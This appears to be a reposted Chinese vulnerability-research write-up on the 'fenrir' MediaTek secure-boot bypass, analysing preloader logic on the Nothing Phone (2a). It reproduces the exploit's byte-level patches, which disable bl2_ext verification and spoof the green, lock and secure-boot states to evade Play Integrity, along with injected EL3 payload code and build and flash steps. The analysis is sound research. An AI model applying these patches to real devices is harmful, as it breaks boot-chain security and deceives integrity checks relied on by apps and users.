【Android安全-[安全启动链破坏][EL3级任意代码执行]记一次对Nothing Phone手机的漏洞利用链的研究】此文章归类为:Android安全。
先介绍一下bl2_ext,它是MTK设备 启动流程中一个运行在 EL3(ARM 最高特权级)的核心引导组件,全称可理解为 Bootloader Stage 2 Extended(二级引导加载器扩展模块)。
bl2_ext位于BROM和preloader之后,是进入TEE、GZ、LK等核心组件前的一个关键节点。
正常情况下,bl2_ext 负责对后续所有启动组件(TEE、GZ、LK、Linux 内核)进行**<font style="color:rgb(31, 35, 41);background-color:rgba(0, 0, 0, 0);">签名校验和完整性验证</font>**,确保这些组件未被篡改。
由于 bl2_ext 自身负责验证后续的所有引导组件 (TEE, GZ, lk, boot 等),并且它在 EL3 (最高特权级别) 下运行,因此,能够任意修改 bl2_ext 就意味着可以完全打破整个安全启动链。
而在fenrir类漏洞场景中,当seccfg配置为解锁状态时,preloader将直接跳过对bl2_ext的签名校验。由于preloader仍然会跳转到EL3级别执行bl2_ext,所以攻击者可构造恶意的bl2_ext组件,从而加载后续所有未经校验的系统镜像,攻破整个安全启动链。
正常的Boot Chain

被攻破的Boot Chain

在fenrir的README描述中,提到该漏洞可以在 Nothing Phone (2a) 上成功利用,所以在Nothing Archive上下载 Nothing Phone (2a) 的Full OTA和OTA images。我这里选择了一个比较早期的版本。

该漏洞主要出现在preloader,所以要对preloader进行逆向分析
在Pacman_V3.2-250904-1648-image-firmware.7z这个包里,可以找到preloader的二进制镜像文件


查询可知Nothing Phone (2a) 的芯片为 MTK 天玑 7200 Pro ,属于 ARMv8-A 64 位架构。

用IDA的ARM架构,64位,little-endian打开


IDA能成功反汇编和反编译

在实际逆向前先了解一下BROM和preloader的运行过程:
手机上电后,芯片先从BROM开始执行。BROM会检查eFuse -> 校验preloader签名 -> 将preloader复制到SRAM,然后跳转执行。
preloader启动后会关掉看门狗 -> 设置栈 -> 初始化一些最基础的硬件(DRAM,PMIC,clock) -> 从eFuse(查看secure boot是否开启)和seccfg(是否unlock)读取安全状态 -> 决定怎么启动( normal / recovery / fastboot ,决定启动 A/B 哪个slot) -> 读bl2_ext,决定是否验签 -> 跳转执行下一阶段。
从上面可以知道漏洞点主要发生在“读bl2_ext,决定是否验签”这个过程,那么要逆向的核心就是找到在哪里进行seccfg是否unlock的判断,以及在判断unlcok后,跳过验证执行后续阶段的部分。
具体的逆向过程比较复杂就不详细阐述了,我的思路就是先通过字符串表找到了一些关键逻辑函数,然后不断查看交叉引用,找到了preloader的主流程函数,再继续跟踪到其他关键函数,最后还原出与漏洞相关的整个逻辑。
下面是我还原的逻辑(关键函数做了重命名,同时贴出来的代码都是美化过的):
首先是boot_flow_init()函数,它负责初始化和调用核心的状态检查逻辑。
该函数在 0x58af8 处调用了pmic_boot_status_check_and_unlock(1);
接着pmic_boot_status_check_and_unlock()在 0x58c40 处调用read_seccfg_and_set_verify_flag(2579LL, 0xEA24CuLL, 1LL, 7LL)。它是读取 seccfg 状态的关键步骤,并将结果输出到 MEMORY[0xEA24C]。
read_seccfg_and_set_verify_flag() 从 seccfg 中解析安全状态,如果开启了 EC_REBOOT_ENABLE,就设置 verify flag 并返回状态;否则清零 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | uint32_t read_seccfg_and_set_verify_flag(uint32_t tag, uint8_t *verify_flag){ uint32_t sec_status; sec_status = parse_seccfg_status(*(uint32_t *)0xEA230); if (sec_status & SECCFG_EC_REBOOT_ENABLE) { /* EC reboot is enabled */ log("EC_REBOOT_ENABLE\n"); return sec_status; } /* EC reboot disabled */ *verify_flag = 0; return 0;} |
parse_seccfg_status()是一个包装函数,通过一个虚函数调用 seccfg 的 get_status() 方法 ,决定了 MEMORY[0xEA24C]是否被清零。
1 2 3 4 5 6 7 | uint64_t parse_seccfg_status(void seccfg_ctx){ / init or update seccfg context */ seccfg_prepare(seccfg_ctx);/* call seccfg_ctx->ops->get_status(seccfg_ctx, 56) */return seccfg_ctx->ops->get_status(seccfg_ctx, SECCFG_STATUS_OFFSET);} |
最后一步结合主流程函数和allow_skip_image_verify()函数分析。在allow_skip_image_verify()中,如果MEMORY[0xEA24C]在前面被清零,那么其返回值也是0,同时在主流程函数中也不会进行验签,直接跳转执行下一阶段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | int main(int argc, const char **argv, const char **envp){ int n2; // 启动状态码 unsigned int n0xD47 = 0; // 临时变量 unsigned int boot_flag; // 初始化阶段,根据条件调用不同子系统 if (sub_5BBE4(argc)) { v5 = sub_52F48(sub_457B0(sub_45794())); } else { v5 = sub_42EDC(sub_4450(sub_45778())); } // 各种硬件/配置初始化 v8 = sub_57744(v5); v9 = sub_57778(v8, 536576LL); v11 = sub_5773C(v9, (const char *)(v10 + 3592)); v12 = sub_57734(v11); MEMORY[0xE8AC0] = v13; // 读取安全配置和状态 v49 = sub_58788(sub_57734(sub_5773C(sub_57744(sub_45628(sub_57734(sub_5773C(sub_57744(sub_52E24(sub_57734(sub_5773C(sub_57744(sub_21A64(v32)), "ow", ...)))))))), byte_83E37, ...))); // 如果特殊 boot 分支 if (sub_515A0()) { sub_5775C("", 540672LL); n2 = 2; goto FINISH_BOOT; } // 检查是否允许跳过 image verify v206 = sub_45668(8u, ...); if (!(_BYTE)v206 || allow_skip_image_verify() || !sub_50204()) { if (!sub_58720(...)) { if (!sub_58714()) { // 处理电源或 RTC 异常 n2 = 1; goto FINISH_BOOT; } } } else { sub_5B40C("ec reboot!\n", ...); n2 = 0; }FINISH_BOOT: MEMORY[0xEB220] = n2; // 后续日志和电源/传感器状态处理 v62 = sub_5B40C((const char *)(sub_57764(sub_5FB6C(MEMORY[0xE8AC0])) + 1721), ..., "MDFE_PG, "); sub_50BA0(sub_57734(v62)); v70 = sub_57734(sub_5773C(sub_57778(sub_5FB6C(MEMORY[0xE8AC0]), 532480LL), (const char *)(v68 + 3858))); sub_4FB5C(0LL, v70); // 按键/长按重启处理 sub_3CC4(1LL, 1600000LL, ...); sub_3C8C(sub_57734(sub_5773C(sub_57744(sub_3CC4(2LL, 1600000LL, ...)), "ot", ...))); // AB boot 检查 ab_boot_check(); sub_57734(sub_5773C(sub_57744(...), " chip_ver[%x]\n", ...)); return 0;} |
1 2 3 4 5 6 7 8 9 10 11 12 13 | bool allow_skip_image_verify(void){ uint32_t boot_reason; /* read boot status / reason register */ boot_reason = sub_58600(2578) & 0x3FF; log("skip verify check: flag=%d, boot_reason=%u\n", MEMORY[0xEA24C], boot_reason << 5); return (MEMORY[0xEA24C] != 0) && (boot_reason < 0x19);} |
总结一下:
boot_flow_init 调用pmic_boot_status_check_and_unlock。
pmic_boot_status_check_and_unlock调用read_seccfg_and_set_verify_flag。
read_seccfg_and_set_verify_flag 调用 parse_seccfg_status 并根据其返回值的最高位来设置 MEMORY[0xEA24C] 的值。
MEMORY[0xEA24C] = 0。MEMORY[0xEA24C]保持非零。在main的allow_skip_image_verify中会检查MEMORY[0xEA24C],并返回一个bool值,如果设备解锁,MEMORY[0xEA24C] = 0,那么就会跳过验证。
PoC 的利用过程可以分为两个主要部分:修补 (Patching) 和 刷入 (Flashing)。
injector/inject.py 脚本负责对原始的 lk.bin (包含了 bl2_ext) 进行修补。其核心是 devices.py 文件中定义的 PatchStage。
PoC中提供了多个型号的补丁,我这里还以Nothing Phone(2a)举例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | DEVICES = [ Device( 'Pacman', 'Nothing Phone 2a', { # Ideally, we'd make room in the 'lk' partition for the payload, but for the sake # of this demonstration, we take advantage of the fact that the BSP for this phone # includes a lot of eMMC-related code that isn’t actually used, since this device # uses UFS instead. # # Technically, these stages are not required by the exploit. They simply show # that we can execute arbitrary code within the LK image, which is way cooler # than just applying patches. # # The first address is the virtual base address where the stage payload is # injected. The second address is the address of the `bl` call that we override # to jump to the payload instead (called pivot by me, which is probably wrong). #'stage1': PayloadStage( # 'stage1', # 0xFFFF000050F6F0A8, # emmc_init() # 0xFFFF000050F05DA4, # platform_init() # description='Pre-platform initialization stage', #), #'stage2': PayloadStage( # 'stage2', # 0xFFFF000050F6AE98, # msdc_tune_cmdrsp() # 0xFFFF000050F0E088, # bl notify_enter_fastboot() # description='Pre-fastboot initialization stage', #), #'stage3': PayloadStage( # 'stage3', # 0xFFFF000050F6C168, # msdc_config_bus() # 0xFFFF000050F0E0A4, # bl dprintf("%s:%d: Notify boot linux.\n") # description='Linux initialization stage', #), # This is what makes it possible for this exploit to work. Long # story short, an LK image has various partitions inside it, # which each have a specific purpose and get loaded at a specific # address. The order matters, and each partition verifies the next # one before loading it. # # From my analysis, the boot chain of this device is as follows: # 1. BootROM (SoC) # 2. Preloader # 3. bl2_ext (LK) # 4. TEE # 5. GenieZone (GZ) # 6. lk or aee (LK) # 7. Linux kernel (boot) # 8. ... # # BootROM is the first stage and is not modifiable (it's masked ROM) and # it ALWAYS verifies and loads the Preloader against the fused root key. # Then, under normal circumstances, the Preloader verifies and loads bl2_ext, # which is the first partition of 'lk' to get verified and loaded. Then # bl2_ext takes control of the boot process and verifies and loads # the next partitions: TEE, GZ, LK, and so on. # # HOWEVER, this is not the case when seccfg is unlocked. When this # happens, the Preloader DOES NOT verify bl2_ext even though bl2_ext # itself still verifies the subsequent partitions. This means that one # can arbitrarily modify bl2_ext so it does not verify the next # partitions, which would lead to a full takeover of the secure boot chain. 'sec_get_vfy_policy': PatchStage( 'sec_get_vfy_policy', pattern='00 01 00 b4 fd 7b bf a9', replacement='00 00 80 52 c0 03 5f d6', match_mode=MatchMode.ALL, description='Don\'t enforce secure boot policy', ), 'force_green_state': PatchStage( 'force_green_state', pattern='c8 03 00 90 00 21 01 b9 c0 03 5f d6', replacement='c8 03 00 90 1f 21 01 b9 c0 03 5f d6', match_mode=MatchMode.ALL, description='Force boot state to always be set to green', ), 'bypass_security_control': PatchStage( 'bypass_security_control', pattern='a9 74 01 94 20 01 00 36', replacement='a9 74 01 94 1f 20 03 d5', match_mode=MatchMode.ALL, description='Skip security error branch - always execute commands', ), 'spoof_sboot_state': PatchStage( 'spoof_get_sboot_state', pattern='fd 7b be a9 f3 0b 00 f9 fd 03 00 91 f3 03 00 aa 20 00 80 52', replacement='48 44 00 52 08 00 00 b9 00 00 80 52 c0 03 5f d6 1f 20 03 d5', match_mode=MatchMode.ALL, description='Force sboot state to always be ATTR_SBOOT_ONLY_ENABLE_ON_SCHIP', ), 'spoof_lock_state': PatchStage( 'spoof_lock_state', pattern='20 02 00 b4 fd 7b be a9 f3 0b 00 f9 fd 03 00 91', replacement='88 00 80 52 08 00 00 b9 00 00 80 52 c0 03 5f d6', match_mode=MatchMode.ALL, description='Force lock state to always be LKS_LOCK', ) }, # This is the virtual address where 'lk' (not the image but the partition) # is loaded in memory. You can obtain this address by looking at the # 'expdb' partition of the device, which contains boot logs. base=0xFFFF000050F00000, ),] |
其中的关键补丁是sec_get_vfy_policy,它通过搜索并替换 bl2_ext 中所有验证函数的字节码,来禁用安全启动策略。
PoC 将bl2_ext 中所有负责验证下一个引导分区的函数的某个局部代码全部从00 01 00 b4 fd 7b bf a9替换为00 00 80 52 c0 03 5f d6
00 00 80 52 -> mov w0, #0 (将返回值 w0 设置为 0)c0 03 5f d6 -> ret (立即从函数返回)这样就巧妙地将所有验证函数的内容替换为 return 0;。在 MTK 的引导逻辑中,返回 0 表示“验证成功”。
成功打破了信任链之后,PoC 还应用了其他补丁来欺骗 Android 系统,使其认为设备仍然处于安全状态:
force_green_state: 强制引导状态为“绿色”(Green),表示启动流程未被修改。spoof_sboot_state: 伪造安全启动状态。spoof_lock_state: 伪造锁状态为 LKS_LOCK。这些补丁的目的是为了通过 Google 的 Play Integrity (以前的 SafetyNet) 检查,让设备在被 root 的情况下也能正常使用银行等应用。
PoC 还包含了一个可选的 PayloadStage 功能,用于在引导过程的不同阶段注入并执行任意代码。
build.sh 脚本会下载交叉编译工具链,并使用 payload/Makefile 来编译 stage1、stage2 和 stage3 的 C 代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include "common.h"#include "debug.h"__attribute__((section(".text.main"))) int main(void) { // This payload executes before LK calls platform_init(), which handles // the initialization of platform-specific hardware components. This is // one of the earliest points where we can execute custom code during // the boot process. printf("Entered pre-platform_init() stage1 payload!\n"); platform_init(); // The caller expects this function to return an integer value. return 0;} |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #include "fastboot.h"#include "debug.h"void cmd_r0rt1z2(const char *arg, void *data, unsigned int sz) { video_printf("r0rt1z2 was here...\n"); fastboot_info("pwned by r0rt1z2"); fastboot_okay("");}__attribute__((section(".text.main"))) void main(void) { // This payload executes right before LK notifies the system to enter // fastboot mode. This is the perfect spot to register custom fastboot // commands that will be available during the fastboot session. printf("Entered pre-notify_enter_fastboot() stage2 payload!\n"); fastboot_register("oem r0rt1z2", cmd_r0rt1z2, true, false); notify_enter_fastboot();} |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include "debug.h"#include "mmu.h"#include "string.h"#include "common.h"__attribute__((section(".text.main"))) void main(void) { // This payload is executed right before LK emits an event to notify // the system that it has to boot Linux. printf("Entered pre-notify_boot_linux() stage3 payload!\n"); // If we wanted to, we could also patch the text in the rodata section by // modifying the page table entries of the kernel address space. // // The following code demonstrates how to patch the "Orange State" string // in the bootloader’s rodata section, which is used to indicate that the // bootloader has been unlocked. // // In this case, it won't be noticeable since we're already patching the // bootloader image to always use green state, but it serves as an example. // set_pte_rwx(0xFFFF000050f9E3AE); // This modifies the page entry for the address // to allow read, write (and execute) // strcpy((char *)0xFFFF000050f9E3AE, "Patched by stage3"); // In this case we don't have to call any function since we're pivoting // from a printf() call, which isn't expected to return anything meaningful.} |
然后inject.py 会将编译好的 payload 二进制文件注入到 lk.bin 镜像中的空闲区域 (例如,未使用的 eMMC 相关代码区域)。
最后 PoC 会修改 bl2_ext 中的某个函数调用 (称为 pivot),使其跳转到注入的 payload。payload 执行完毕后,再返回到原始的执行流程。
这部分功能主要是为了演示攻击者可以在 EL3 级别获得任意代码执行的能力。
总体上是按以下步骤进行:
lk.bin 镜像。./build.sh <device> <path_to_lk.bin>。脚本会编译 payload (如果有的话),并调用 inject.py 将补丁和 payload 应用到 lk.bin,生成一个修改后的 <device>-fenrir.bin 文件。./flash.sh <device> (内部调用 fastboot),将修改后的 bootloader 刷入设备。Preloader 因为设备已解锁,加载了被修改的 bl2_ext 而不进行验证。bl2_ext 在验证 TEE 等后续组件时,调用的是被替换为 return 0; 的函数,从而欺骗系统,让整个不安全的引导链得以继续。这类漏洞利用当seccfg配置为解锁状态时,preloader将直接跳过对bl2_ext的签名校验的逻辑缺陷。通过构造恶意的bl2_ext组件,从而加载后续所有未经校验的系统镜像,攻破整个安全启动链。同时由于bl2_ext可以被完全控制,所以可以通过在bl2_ext中注入payload,劫持程序执行流程,实现EL3级任意代码执行。
更多【Android安全-[安全启动链破坏][EL3级任意代码执行]记一次对Nothing Phone手机的漏洞利用链的研究】相关视频教程:www.yxfzedu.com